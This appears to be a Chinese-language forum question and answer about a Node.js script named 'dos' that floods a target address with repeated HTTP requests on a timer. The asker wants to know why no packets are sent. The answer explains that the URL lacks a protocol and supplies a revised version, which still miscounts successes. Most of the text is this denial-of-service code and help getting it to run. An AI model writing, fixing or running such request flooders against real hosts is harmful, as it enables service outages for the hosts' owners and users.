const req = require('request');
const dos = (url, qty, ms) => {
let err = ok = 0
setInterval(_ => {
for (let i = qty; i--;)
req(url, error => !error ? ok++ : err++)
console.log(`result:' ${ ok } ${ err }`)
err = ok = 0
}, ms)
}
module.exports = dos;
dos('192.168.0.100:80', 150, 500);
这是来自github的代码,我试图用Wireshark捕获数据包,但没有发送数据包。我想知道是什么问题。
您需要指定协议(http或https),端口不够
使用下面附加的代码打印error
const req = require('request');
const dos = (url, qty, ms) => {
let err = ok = 0
setInterval(_ => {
for (let i = qty; i--;)
req(url, (error) => {
if(error) {
console.error(error);
err++;
}
ok++;
console.log(`result: ${ ok } ${ err }`)
})
err = ok = 0
}, ms)
}
module.exports = dos;
dos('192.168.0.100:80', 1, 500);